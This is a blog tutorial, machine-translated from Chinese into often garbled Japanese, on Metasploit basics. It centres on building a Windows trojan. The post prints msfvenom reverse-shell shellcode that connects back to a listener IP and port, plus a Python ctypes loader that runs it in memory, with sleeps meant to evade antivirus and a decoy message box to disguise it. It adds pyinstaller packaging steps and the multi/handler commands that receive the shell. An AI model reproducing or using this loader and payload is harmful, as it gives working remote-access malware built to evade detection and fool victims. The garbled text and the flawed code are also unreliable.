MSFの基本的な使用法(基本構造とペイロードのデモ)

序文

合格できるかどうか見てみましょう(合格できるかどうか見てみましょう)最近爬虫類プロジェクトを行いましたが、手が再びかゆくなりました。
MSFは非常に主流の侵入フレームワークであり、かなりの数の侵入検出モジュールが含まれています

環境

Kail 2020
VM 16
ホスト:Windows 10

基本要件:
国家安全保障法および規制を厳守し、Linuxを使用できること。

基本構造

基本的な用語

これをプレイする前に、いくつかの基本的な技術用語を理解する必要があります

エクスプロイト

ペネトレーション攻撃とは、システム、アプリケーション、またはサービスのセキュリティの脆弱性を悪用して、攻撃者または侵入テスターに​​よって実行される攻撃を指します。

一般的な攻撃手法には、バッファオーバーフロー、Webアプリケーションの悪用、設定ミスの悪用などがあります。

ペイロードペイロードは、侵入後にターゲットシステムが実行すると予想されるコードです。MSFフレームワークでは、自由に選択、配信、および移植できます。たとえば、リバウンドシェルは、ターゲットホストから攻撃側ホストへのネットワーク接続を作成し、コマンドラインシェルを提供する攻撃ペイロードです。バインド
シェルペイロードは、ターゲットホスト上のコマンドラインシェルを開いているリスニングポートにバインドします。このポートに接続すると、攻撃者はシェルとのやり取りを行うことができます。

スピルコード(シェルコード)シェルコードは、侵入攻撃中に攻撃ペイロードとして実行される一連のマシン命令です。シェルコードは通常、アセンブリ言語で記述されています。
ほとんどの場合、ターゲットシステムは、シェルコード名の由来でもある一連のシェルコード命令を実行した後にのみ、コマンドラインシェルまたはMeterpreterシェルを提供します。

モジュール(モジュール)MSFでは、モジュールはMSFフレームワークで使用されるソフトウェアコードコンポーネントの一部を指します。ある時点で
、エクスプロイト攻撃を実際に開始するために使用されるソフトウェアコンポーネントであるエクスプロイトモジュールを使用する場合があります。また、補助モジュールを使用
して、スキャンやシステム列挙などの攻撃アクションをスキャンすることもできます。

リスナー(リスナー)リスナーは、着信ネットワーク接続を待機するMSFのコンポーネントです。たとえば、ターゲットホストが侵害された後、インターネットを介して攻撃側ホストに接続し直し、リスナーコンポーネントが攻撃側ホスト上にあり、侵害されたシステムの接続を待機し、これらのネットワーク接続の処理を担当します。

物理的構造

このフレームワークを使用して何か面白いことをすばやく行うには、最初に基本的なディレクトリ構造、つまり実際のファイルアドレスを理解する必要があります。ここに入る
ここに画像の説明を挿入

主なものはこれらです。入って見ることができます。
ここに画像の説明を挿入

ここでは何も表示されないため、最初にこの最も基本的なディレクトリ構造について学ぶことができます。

論理構造

ここに画像の説明を挿入

基本的に私たちは

マニュアル

いわゆる本当の知識が出てきたら、私たちのプロセスを整理しましょう。それは私たちが侵入するときに実際に遊ぶ方法です。

ここでの言葉は大きく分けて、侵入スクリプトを介して直接攻撃するものと、トロイの木馬ウイルスなどのペイロードを使用するものです。前のプロセスは比較的単純なので、詳細には説明しません(主に、以前にプレイしていないときに環境が枯渇したため)。次の操作の一部には、より多くのコンテンツが含まれます。私は主に皆さんに遊びを見せるためにここにいます。次に、いくつかの基本的な考えを紹介します。

浸透の基本的なプロセス

初め

最初のポイントは間違いなく、ターゲットが何であるかなど、他のホストの情報を決定することです。次に、対応する公開の脆弱性を見つけます。たとえば、ターゲットホストがxxシステムであることがわかりました。
その後、システムはCVE-2017-0143という番号の脆弱性にさらされました
この情報については、インターネットを自分で検索して相手のシステムや機器を特定し、この機器システムで公開されている脆弱性を探すことができます。もちろん、マイニングは別の問題です。これについては説明しません。ここ。

2番目

この時点で、相手がこの脆弱性を持っている可能性があると想定し、この時点でmsfコンソールに入ります。脆弱性を表示する

ここに画像の説明を挿入
入力?すべてのヘルプを確認できます(さらに、現在のmsfは、長い間プレイしていないため、最新バージョンではないため、ここでmsfを頻繁に更新する必要がありますが、ここで恥ずかしいのは、更新が行われることです。外国の鏡の数は遅く、国内のカリは基本的に鏡はすべて死んでいて、調和のとれた社会です。更新する場合は、科学的なインターネットに注意してください)

ここに画像の説明を挿入

さて、トピックに戻って、次に何をしますか?脆弱性をチェックして検索します。なぜこれを実行したいのですか?非常に簡単です。他の人が作成した攻撃ツールを使用してください。
この時点で、私たちはこれらのことを見てきまし
ここに画像の説明を挿入
たが、このことについてはあまり見ていません。

三番

いずれかを選択し、そうでない場合は変更します。

ここに画像の説明を挿入
ここで入力し直してモジュールをプッシュします

次に、このパラメータ設定を表示すると、情報にオプションが表示されます

ここに画像の説明を挿入

次に、情報内の特定の情報を確認します

ここに画像の説明を挿入
たくさんの情報が入っているので、チェックしてみてください。

ここでの言葉はもっと恥ずかしいです、実際には無人標的機はありません。
だからここでは侵入するふりをしますね

第4

もちろん、それは私たちのパラメータに従って設定されます。
ここに画像の説明を挿入

ここに画像の説明を挿入

次に実行します

または、エクスプロイト
は特定の状況によって異なります。どのように言えば、無人標的機がなく、実験を行うことができないため、これを特定の抜け穴と組み合わせる必要があります。これには、強力なプロ意識が必要です。今日は無人標的機です。初心者の方はここでデモンストレーションを行います。基本的にその方法がわかりません。

トロイの木馬の侵入

OK、操作しやすいものを用意しましょう。
これは、今持っていたmsfの構造と組み合わせる必要があります。

トロイの木馬を使用するには、msfでツールmsfvenomを使用する必要があります。

最初にプロセスを明確にします。
ここに画像の説明を挿入
それでは、最初にmsfvenom本番トロイの木馬について話しましょう。

msfvenomの基本的な使用法

一般的に使用されるメソッドとパラメーターをいくつか紹介します。

ペイロードの表示と使用

ペイロードを攻撃スキームとして理解し、どのような攻撃方法が生成され、どのようなプラットフォームが攻撃に使用されるかを理解できます。
パラメータ-pを使用して設定し、-lペイロードとして表示します。詳細については、次の場合、
ここに画像の説明を挿入
エンコーダーはパラメーター-eを使用し
ます。これは、トロイの木馬のない殺害の可能性を高めるために、エンコードするために選択する方法を指します。さらに、パラメーター-i -b
がありますが、個人的なテストには-eを使用できます。指定する必要もありません。パラメータの設定方法に関係なく、ウイルス対策ソフトウェアによって直接ブロックされるためです。チェックしてみてください。現時点では、この簡単な方法を使用するのは無意味です。他の方法を使用して殺害を回避することができます。この方法の方が効率的です。
コーディングテンプレートの
ここに画像の説明を挿入
トロイの木馬の生成を確認する方法は次のとおりです。

msfvenom -p 模板 -e 编码模板 -i 编码次数 -b 避免字符集 LHOST(ifconfig查看) LPORT(监听端口) -f 输出文件类型 > 文件名

以下は例です
ここに画像の説明を挿入

ここでは他のパラメータは使用しません。その理由は、このように単純に処理された場合、直接強制終了する必要がないためです。

殺さないでください

今すぐ殺害を回避する方法はたくさんあります。実際、具体的なアイデアは、ウイルスのマシンコードを取得して偽装
することです。さまざまな方法があります。詳細については、次のブログを参照してください:
https://blog.csdn .net / weixin_44677409 / article / details / 96346481
したがって、ここでは、プログラミング環境と操作習慣のために、ここでのデモンストレーションは、Pythonを使用して、シェルコードを取得するための強制終了を回避すること
です
。これは、実際にはpyファイルを出力してからファイル
ここに画像の説明を挿入
を取得することです。
。ファイルの内容はおそらく次のようになります

buf =  b""
buf += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
buf += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
buf += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
buf += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
buf += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
buf += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
buf += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
buf += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
buf += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
buf += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
buf += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
buf += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
buf += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
buf += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
buf += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
buf += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32"
buf += b"\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec"
buf += b"\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x22\xb9"
buf += b"\xc0\xa8\x65\x26\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41"
buf += b"\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01"
buf += b"\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50"
buf += b"\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48"
buf += b"\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5"
buf += b"\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9"
buf += b"\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02"
buf += b"\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41"
buf += b"\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a"
buf += b"\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01"
buf += b"\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50"
buf += b"\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff"
buf += b"\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86"
buf += b"\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08"
buf += b"\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6"
buf += b"\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a"
buf += b"\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59"
buf += b"\x41\x89\xda\xff\xd5"

次に、この時点で別のpythonファイルに貼り付けてコピーします。
ここにラッパー関数を記述しました。これは、パラメーターとしてbufを直接渡すことができます。

import ctypes

def execgo(buf):
    go()
    # print('123')
    shellcode = bytearray(buf)
    ctypes.windll.kernel32.VirtualAlloc.restype = ctypes.c_uint64
    # 申请内存
    ptr = ctypes.windll.kernel32.VirtualAlloc(ctypes.c_int(0), ctypes.c_int(len(shellcode)), ctypes.c_int(0x3000), ctypes.c_int(0x40))
    # 放入shellcode
    buf = (ctypes.c_char * len(shellcode)).from_buffer(shellcode)
    ctypes.windll.kernel32.RtlMoveMemory(
        ctypes.c_uint64(ptr),
        buf,
        ctypes.c_int(len(shellcode))
    )
    ss()
    # 创建一个线程从shellcode放置位置首地址开始执行
    handle = ctypes.windll.kernel32.CreateThread(
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.c_uint64(ptr),
        ctypes.c_int(0),
        ctypes.c_int(0),
        ctypes.pointer(ctypes.c_int(0))
    )
    ss()
    ctypes.windll.kernel32.WaitForSingleObject(ctypes.c_int(handle),ctypes.c_int(-1))

def ss():
	#查杀干扰
	time.sleep(0.1)
def go():
	#界面伪装
    ctypes.windll.user32.MessageBoxA(0, u"点击确定开始美好之旅(若无反应则版本可能不适用).^_ ^".encode('gb2312'),
                                     u' 信息'.encode('gb2312'), 0)
if __name__=='__main__':
    execgo(buf)

次に、pyinstallerを使用して、このファイルを実行可能ファイルにパッケージ化します。その場合は、ファイルを取得してテストを強制終了する
ためのアイコンも追加しました
ここに画像の説明を挿入

ここに画像の説明を挿入

ここに画像の説明を挿入

トロイの木馬制御(msfconsoleはトロイの木馬情報の受信を制御します)

ここ:

multi / handlerの使用
もモジュールの1つなので、最初に入力してからそれを実行できます。

私の設定によると、私は次のコマンドを入力しました

msfconse
use multi/handler
set payload windows/x64/shell_reverse_tcp
set LHOST 192.168.101.38
set LPORT 8889
run

この時点でターゲットがオンラインになるのを待っていると、
結果は次のようになります。
ここに画像の説明を挿入
これまでのところ、単純なトロイの木馬の侵入は問題ありません。パブリックネットワークIPを備えたサーバーがある場合、これもより運用可能です。

要約する

もちろん、msfの操作は非常に簡単です。基本的な抜け穴をある程度理解し、新しい時代の良い青年として毎日一生懸命勉強することが前提です。

おすすめ

転載: blog.csdn.net/FUTEROX/article/details/123590536